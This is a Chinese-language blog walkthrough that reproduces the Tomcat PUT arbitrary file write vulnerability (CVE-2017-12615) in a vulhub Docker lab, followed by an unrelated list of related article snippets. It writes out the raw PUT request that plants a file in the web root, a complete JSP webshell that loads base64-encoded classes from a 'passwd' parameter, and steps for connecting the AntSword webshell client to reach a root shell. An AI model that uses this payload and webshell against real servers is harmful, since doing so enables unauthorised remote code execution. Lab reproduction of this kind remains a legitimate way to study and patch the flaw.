Tomcat8 任意写文件PUT方法 (CVE-2017-12615)
Tomcat 任意写文件PUT方法 (CVE-2017-12615)
文章目录
- Tomcat 任意写文件PUT方法 (CVE-2017-12615)
- 1 在线漏洞解读:
- 2 版本影响
- 3 环境搭建
- 4 漏洞复现
- 4.1 访问
- 4.2 POC攻击点
- 4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。
- 4.2.2 访问是否通,可以访问到文件
- 5 漏洞利用
- 5.1 上传jsp一句话
- 5.2 kali打开蚁剑:
- 5.3 连接jsp一句话木马,密码为 passwd
- 5.4 打开终端,获取root
1 在线漏洞解读:
https://vulhub.org/#/environments/tomcat/CVE-2017-12615/

2 版本影响
Tomcat version: 8.5.19
3 环境搭建
cd /home/kali/vulhub/tomcat/CVE-2017-12615

环境启动:
sudo docker-compose up -dsudo docker ps -a
已启动:访问端口8091

4 漏洞复现
4.1 访问
4.1 访问http://192.168.225.166:8091/看到Tomcat示例页面,发现8.5.19版本后台管理是不允许登录的


4.2 POC攻击点
4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5shell
4.2.2 访问是否通,可以访问到文件

5 漏洞利用
5.1 上传jsp一句话
<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>
5.2 kali打开蚁剑:
┌──(kali💋kali)-[~]
└─$ sudo antsword
5.3 连接jsp一句话木马,密码为 passwd

5.4 打开终端,获取root

相关文章:
Tomcat8 任意写文件PUT方法 (CVE-2017-12615)
Tomcat 任意写文件PUT方法 (CVE-2017-12615) 文章目录 Tomcat 任意写文件PUT方法 (CVE-2017-12615)1 在线漏洞解读:2 版本影响3 环境搭建4 漏洞复现4.1 访问4.2 POC攻击点4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。4.2.2 访问是否通,可以访…...
SAP服务器修改主机名操作手册
1、业务背景 SAP服务器P2V:虚拟化后的服务器主机名(或叫计算机名、设备名,hostname,下文同)会和原参照克隆的服务器主机名一样,若两台服务器处于同一网域,会出现域冲突,导致以下事故发生 (1)、使得原服务器出现掉域情况(DEV->CLN->PRD后台服务器访问失效) …...
【大数据】Doris 构建实时数仓落地方案详解(一):实时数据仓库概述
本系列包含: Doris 构建实时数仓落地方案详解(一):实时数据仓库概述Doris 构建实时数仓落地方案详解(二):Doris 核心功能解读Doris 构建实时数仓落地方案详解(三)&#…...
C++ list容器的实现及讲解
所需要的基础知识 对C类的基本了解 默认构造函数 操作符重载 this指针 引用 模板等知识具有一定的了解,阅读该文章会很轻松。 链表节点 template<class T>struct list_node{T _data;list_node<T>* _next;list_node<T>* _prev;list_node(const T&…...
前端项目练习(练习-002-NodeJS项目初始化)
首先,创建一个web-002项目,内容和web-001一样。 下一步,规范一下项目结构,将html,js,css三个文件放到 src/view目录下面: 由于html引入css和js时,使用的是相对路径,所以…...
C++QT day11
绘制时钟 widget.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QPaintEvent>//绘制事件类 #include <QDebug>//信息调试类 #include <QPainter>//画家类 #include <QTimer>//定时器类 #include <QTime> #include &…...
Stable DIffusion 炫酷应用 | AI嵌入艺术字+光影光效
目录 1 生成AI艺术字基本流程 1.1 生成黑白图 1.2 启用ControlNet 参数设置 1.3 选择大模型 写提示词 2 不同效果组合 2.1 更改提示词 2.2 更改ControlNet 2.2.1 更改模型或者预处理器 2.2.2 更改参数 3. 其他应用 3.1 AI光影字 本节需要用到ControlNet,可…...
C#通过重写Panel改变边框颜色与宽度的方法
在C#中,Panel控件是一个容器控件,用于在窗体或用户控件中创建一个可用于容纳其他控件的面板。Panel提供了一种将相关控件组合在一起并进行布局的方式。以下是Panel控件的详细使用方法: 在窗体上放置 Panel 控件: 在 Visual Studio 的窗体设计器中,从工具箱中拖动并放置一…...
Vue2+ElementUI 静态首页案例
源码 <template><div class"app-container home"><el-row type"flex" justify"space-around" class"row-bg"><el-card class"box-card cardDiv1"><el-col :span"5"><div clas…...
Linux的socket通信
关于套接字通信定义如下: 套接字对应程序猿来说就是一套网络通信的接口,使用这套接口就可以完成网络通信。网络通信的主体主要分为两部分:客户端和服务器端。在客户端和服务器通信的时候需要频繁提到三个概念:IP、端口、通信数据&…...
MySQL学习大纲
了解 MySQL 的基础知识和命令是使用此数据库的前提。以下是一些必须了解的 MySQL 概念和命令,包括基础的 CRUD(创建,读取,更新,删除)操作,以及一些高级功能: 1. 安装和启动 命令su…...
【Ambari】银河麒麟V10 ARM64架构_安装Ambari2.7.6HDP3.3.1(HiDataPlus)
🍁 博主 "开着拖拉机回家"带您 Go to New World.✨🍁 🦄 个人主页——🎐开着拖拉机回家_大数据运维-CSDN博客 🎐✨🍁 🪁🍁 希望本文能够给您带来一定的帮助🌸文…...
驱动开发练习,platform实现如下功能
实验要求 驱动代码 #include <linux/init.h> #include <linux/module.h> #include <linux/platform_device.h> #include <linux/mod_devicetable.h> #include <linux/of_gpio.h> #include <linux/unistd.h> #include <linux/interrupt…...
QT之QString的用法介绍
QT之QString的用法介绍 成员函数常见用法 成员函数 1)QString &append(const QString &str) 将 str 字符串追加到当前字符串末尾,并返回修改后的 QString 对象的引用。 2)QString &prepend(const QString &str) 将 str 字符…...
基于Java+SpringBoot+Vue3+Uniapp前后端分离考试学习一体机设计与实现2.0版本(视频讲解,已发布上线)
博主介绍:✌全网粉丝4W,全栈开发工程师,从事多年软件开发,在大厂呆过。持有软件中级、六级等证书。可提供微服务项目搭建与毕业项目实战,博主也曾写过优秀论文,查重率极低,在这方面有丰富的经验…...
springboot 获取参数
1.获取简单参数 2.实体对象参数...
【笔记】离线Ubuntu20.04+mysql 5.7.36 + xtrabackup定时增量备份脚本
一、环境 ● Ubuntu版本查看 lsb_release -a● mysql 版本查看 mysql --version我的是ubuntu 20.04,mysql是5.7.36,所以要用 install_percona-xtrabackup-24 二、原理 备份 通过ubuntu自带的定时器运行增量备份脚本备份文件可以存储在映射后的其他…...
树哈希与换根dp:CF763D
采用的树哈希函数是: d p x w x ∑ y ∈ x d p y 2 w x 2 \Large dp_xw_x\times \sum_{y\in x}dp_y^2w_x^2 dpxwxy∈x∑dpy2wx2 发现从 x x x 到 y y y 时只有 x x x 与 y y y 的哈希值会变化,分别维护即可 #include<bits/stdc.h&…...
npm、yarn、pnpm如何清除缓存?
前端工程化创建项目会经常使用各种安装包管理工具,安装各种前端依赖包。例如,npm、yarn、pnpm等。时间一长,各种安装包管理工具的在安装依赖时,留下的缓存文件就会变得很大,以至于影响系统的运行,因此必要时…...
12款最火的AI画图软件,助你探索创新设计
ChatGPT火爆出圈,AI画图软件也如雨后春笋般流行起来。各类AI画图的软件工具横空出世,设计师与其焦虑工作会不会被人工智能取代,不如践行“工欲善其事必先利其器”,开拓思路,打开格局,好好地探索下如何利用好…...
教育机构开设AI课程,如何用Taotoken为学生提供稳定实验环境
🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 教育机构开设AI课程,如何用Taotoken为学生提供稳定实验环境 在高校或培训机构开设大模型应用相关课程时,一…...
YOLO-ONNX-Java分布式推理架构设计与实现
YOLO-ONNX-Java分布式推理架构设计与实现 引言:单机推理的性能瓶颈 在实际的AI视觉识别项目中,随着业务规模的扩大,单机推理往往面临以下挑战: 并发处理能力有限:单台服务器无法同时处理大量视频流GPU资源利用率低&…...
CXPatcher:让Mac上的CrossOver性能飞升的终极指南
CXPatcher:让Mac上的CrossOver性能飞升的终极指南 【免费下载链接】CXPatcher A patcher to upgrade Crossover dependencies and improve compatibility 项目地址: https://gitcode.com/gh_mirrors/cx/CXPatcher 你是否曾经在Mac上尝试运行Windows游戏时感到…...
从插值到积分:用np.interp和np.trapz,5步完成传感器数据平滑与能量估算(Python实战)
从插值到积分:用np.interp和np.trapz,5步完成传感器数据平滑与能量估算(Python实战) 在物联网和实验数据处理中,我们常常会遇到传感器采集的数据点稀疏或不均匀的问题。这种原始数据直接用于分析往往会导致结果不准确&…...
矩阵从0到自动化运转的4个阶段:90%的团队死在第2阶段
原创声明:✅ 本文为运营阶段理论分析与实战调研总结,涉及工具仅作阶段验证案例,不构成任何商业推荐。一、先说一个反直觉的事实我追踪了20个矩阵团队从0到稳定运营的全过程,发现一个规律:阶段存活率平均耗时最常见的死…...
温柔沟通术,稳住实习候选人的心w
为什么高冷的企业在校招中容易丢分? 在金融与科技企业的校招抢人大战中,HR常发现一个现象:有些各方面条件都极佳的应届生,在面试流程过半时突然“消失”了。深究其原因,往往不是因为薪资或岗位本身,而是因…...
从零到一:华大HC32L110C6PA GPIO操作避坑指南(附完整代码)
从零到一:华大HC32L110C6PA GPIO操作避坑指南(附完整代码) 第一次接触华大HC32L110C6PA这款MCU时,我被它小巧的体积和丰富的功能所吸引。但当我真正开始GPIO配置时,却发现官方文档中的某些细节并不像想象中那么直观。…...
IPXWrapper终极指南:让90年代经典游戏在现代Windows上重生联机对战
IPXWrapper终极指南:让90年代经典游戏在现代Windows上重生联机对战 【免费下载链接】ipxwrapper 项目地址: https://gitcode.com/gh_mirrors/ip/ipxwrapper 对于许多怀旧游戏玩家来说,最大的遗憾莫过于那些经典的《星际争霸》、《帝国时代》、《…...
【实战指南】用DistroAV构建企业级网络视频协作系统:从零到专业部署
【实战指南】用DistroAV构建企业级网络视频协作系统:从零到专业部署 【免费下载链接】obs-ndi DistroAV (formerly OBS-NDI): NDI integration for OBS Studio 项目地址: https://gitcode.com/gh_mirrors/ob/obs-ndi 你是否曾为传统视频制作中的复杂线缆连接…...
MaterialSkin终极指南:10分钟让WinForms应用焕然一新
MaterialSkin终极指南:10分钟让WinForms应用焕然一新 【免费下载链接】MaterialSkin Theming .NET WinForms, C# or VB.Net, to Googles Material Design Principles. 项目地址: https://gitcode.com/gh_mirrors/mat/MaterialSkin 你是否厌倦了传统WinForms应…...
